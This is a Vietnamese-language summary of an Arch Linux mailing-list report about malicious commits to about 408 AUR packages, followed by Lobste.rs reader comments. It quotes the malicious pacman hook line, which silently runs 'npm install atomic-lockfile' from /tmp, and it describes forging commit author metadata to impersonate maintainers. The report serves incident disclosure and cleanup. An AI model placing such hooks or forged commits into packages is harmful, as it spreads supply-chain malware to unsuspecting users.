Hàng trăm gói AUR bị tấn công bằng mã độc đánh cắp thông tin
(lists.archlinux.org)- Nhiều commit độc hại đã được chèn vào AUR (Arch User Repository), gây ra một cuộc tấn công chuỗi cung ứng khi các gói bị sửa để chạy
npm install atomic-lockfiletrong quá trình cài đặt - Qua kết quả tìm kiếm trên mirror chỉ đọc, đã xác nhận cùng một lệnh độc hại trong các tệp PKGBUILD,
.installvà.hookcủa khoảng 408 gói - Các commit độc hại sử dụng phương thức giả mạo commit bằng cách mạo danh tên và email của commit ngay trước đó để đóng giả maintainer hợp lệ, tách biệt với việc tài khoản có bị chiếm đoạt hay không
- Phía Arch đang tiến hành reset/xóa các commit độc hại và chặn tài khoản, đồng thời yêu cầu các gói độc hại bổ sung được gom báo cáo vào một luồng duy nhất
- Các thành viên cộng đồng đang liên tiếp báo cáo commit của từng gói và triển khai ứng phó phối hợp, cho thấy đây là một sự cố quy mô lớn ảnh hưởng đến toàn bộ hệ sinh thái gói AUR
Tổng quan sự cố và yêu cầu ứng phó
- Đã có thông tin chia sẻ về dấu hiệu nhiều commit độc hại bị chèn hàng loạt vào AUR, và công việc reset/xóa commit độc hại cùng chặn tài khoản đang được tiến hành
- Nếu phát hiện thêm gói độc hại, có yêu cầu báo cáo bằng cách trả lời email này để các báo cáo được gom vào cùng một luồng
- Điều phối viên phản hồi rằng đã kiểm tra toàn bộ báo cáo gửi đến và bày tỏ cảm ơn tới những người đã dành thời gian báo cáo
Mẫu mã độc — atomic-lockfile
- Các gói bị sửa đổi đều có điểm chung là chạy
npm install atomic-lockfile, sau đó kèm thêm tên các gói npm nhưora,fast-glob,glob,minimist,axios,commander,execa,chalk,debug - Các loại tệp chứa lệnh độc hại
- script cài đặt dạng
*-deps.install - script cài đặt gói
*.install - tệp
*.hook— ví dụ:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ... 2>/dev/null; exit 0', chạy trong/tmp, ẩn lỗi rồi thoát - một số trường hợp còn được chèn vào các tệp liên quan như
install.sh
- script cài đặt dạng
- Trường hợp gói độc hại mới được tạo được báo cáo là
exodus-wallet-bin, được xác nhận là gói mới xuất hiện chỉ khoảng 4 giờ trước tính từ commit đầu tiên
Phương pháp phát hiện và phạm vi ảnh hưởng
- Việc phát hiện được thực hiện bằng cách kiểm tra trực tiếp mirror chỉ đọc
- Sau
git clone https://github.com/archlinux/aur.git, duyệt qua toàn bộ ref và chạygit grep 'atomic-lockfile' - Kết quả thu được một danh sách dài gồm khoảng 408 gói cài đặt
atomic-lockfile, có thể dùng cho công việc dọn dẹp (cleanup) tự động
- Sau
- Ví dụ các gói được nhắc đến là bị ảnh hưởng
runescape-launcher,oracle-bin,tesseract-gui,python-starsessions,bitcoin-core-git,apple-music-desktop,exodus-wallet-bin,anythingllm-appimage,arm-linux-gnueabihf-binutils- Bao gồm cả các nhóm gói rất rộng như
cutefish-*,python2-*,python-*
- Khi lượng email tăng lên do báo cáo riêng lẻ hàng loạt, đã có khuyến nghị gộp nhiều mục vào một email; một danh sách gói tổng hợp cũng được chia sẻ riêng trên IRC
Cách thức mạo danh/giả mạo
- Với các gói liên quan đến một tài khoản cụ thể (
arojas), đã có nghi vấn liệu đây là chiếm đoạt tài khoản hay giả mạo commit - Sau đó được xác nhận rằng các commit độc hại dùng cách mạo danh (impersonate) tên và email của commit ngay trước đó — tức là giả mạo metadata của commit
- Cũng có báo cáo cho biết một số gói khác của cùng người dùng đã được sửa xong
Tình hình ứng phó
- Các commit gói bị báo cáo đã được xử lý lần lượt, và một số mục được phản hồi là đã xử lý xong (Done)
- Khi các báo cáo bổ sung tiếp tục được gửi đến, điều phối viên đã kiểm tra toàn bộ và xử lý song song với công việc chặn tài khoản và reset đang diễn ra
- Nhiều người tham gia đã báo cáo từng gói kèm liên kết commit, tạo thành một hình thức ứng phó phối hợp do cộng đồng dẫn dắt
1 bình luận
Ý kiến trên Lobste.rs
Vụ này có lẽ sẽ gần như chấm dứt chút niềm tin còn sót lại của cộng đồng vào các đóng góp ẩn danh, chưa được kiểm chứng
Có cảm giác như đang nhìn niềm tin bị bào mòn theo thời gian thực
Chúng ta đang giao phó quá nhiều dữ liệu cá nhân và nhạy cảm cho máy tính, và chúng đã trở thành trung tâm của đời sống hiện đại. Nếu máy tính cá nhân bị nhiễm mã độc thì đó thực sự là một thảm họa, và điều tốt nhất có thể hy vọng là mình không đủ thú vị để hacker phải nhắm riêng đến mà quấy rối
Ấy vậy mà bằng cách nào đó chúng ta đã bình thường hóa việc chạy mọi chương trình ngẫu nhiên với toàn bộ quyền hạn[1], rồi mỗi lần điều đó lộ ra là một ý tưởng tồi thì lại giả vờ ngạc nhiên
[1] Tính theo quyền của người dùng hiện tại. Trong hầu hết cấu hình, root gần như chẳng còn nhiều ý nghĩa
Tôi hình dung một hệ thống đưa ra các lựa chọn như thế này khi cài đặt hoặc cập nhật gói AUR: nếu là gói vừa được cập nhật gần đây thì chờ 1 tuần cho nguội bớt, hoặc tự bỏ ra vài phút để rà soát gói rồi để lại đánh giá đã ký gắn với uy tín của mình, hoặc dựa vào các đánh giá đã ký của nhiều người khác đã tích lũy đủ độ tin cậy
Thời gian chờ có thể không phù hợp về mặt kỹ thuật với chính sách của Arch là giữ mọi gói luôn ở trạng thái mới nhất cùng nhau. Nhưng dù sao các gói AUR vốn cũng không thuộc diện được hỗ trợ chính thức
Đã qua vài giờ mà gói NPM này vẫn chưa bị gỡ xuống: https://www.npmjs.com/package/atomic-lockfile
Nếu muốn kiểm tra xem các gói đã cài có bị ảnh hưởng không, có thể dùng script nhỏ này cùng với tệp
aur_pkg_list.txtTôi đã thêm dấu chấm phẩy nên rất dễ biến nó thành lệnh một dòng :-)
Có vẻ nó bắt cả chuỗi con. Ví dụ
kteacũng khớp vớikteatimeBản này có vẻ chạy đúng
Có thể chuyện này đã diễn ra từ khá lâu. Email này từ 18 ngày trước cho thấy dường như đã dùng payload độc hại tương tự, nhưng commit độc hại có vẻ đã bị xóa hẳn khỏi kho
Nhân tiện, có tài liệu nào so sánh tốt về tư thế bảo mật chuỗi cung ứng của các bản phân phối Linux phổ biến không? Phần lớn những gì tôi tìm được đến giờ hoặc là marketing trá hình, hoặc trông như bài viết AI làm cẩu thả. Có lẽ tôi sẽ phải tự nghiên cứu thôi
Phần đáng buồn là dù tôi thích lý tưởng phát triển dựa vào cộng đồng, nỗi lo về chuỗi cung ứng lại khiến tôi phải nhìn kỹ hơn vào các lựa chọn đóng, thậm chí cả phần mềm độc quyền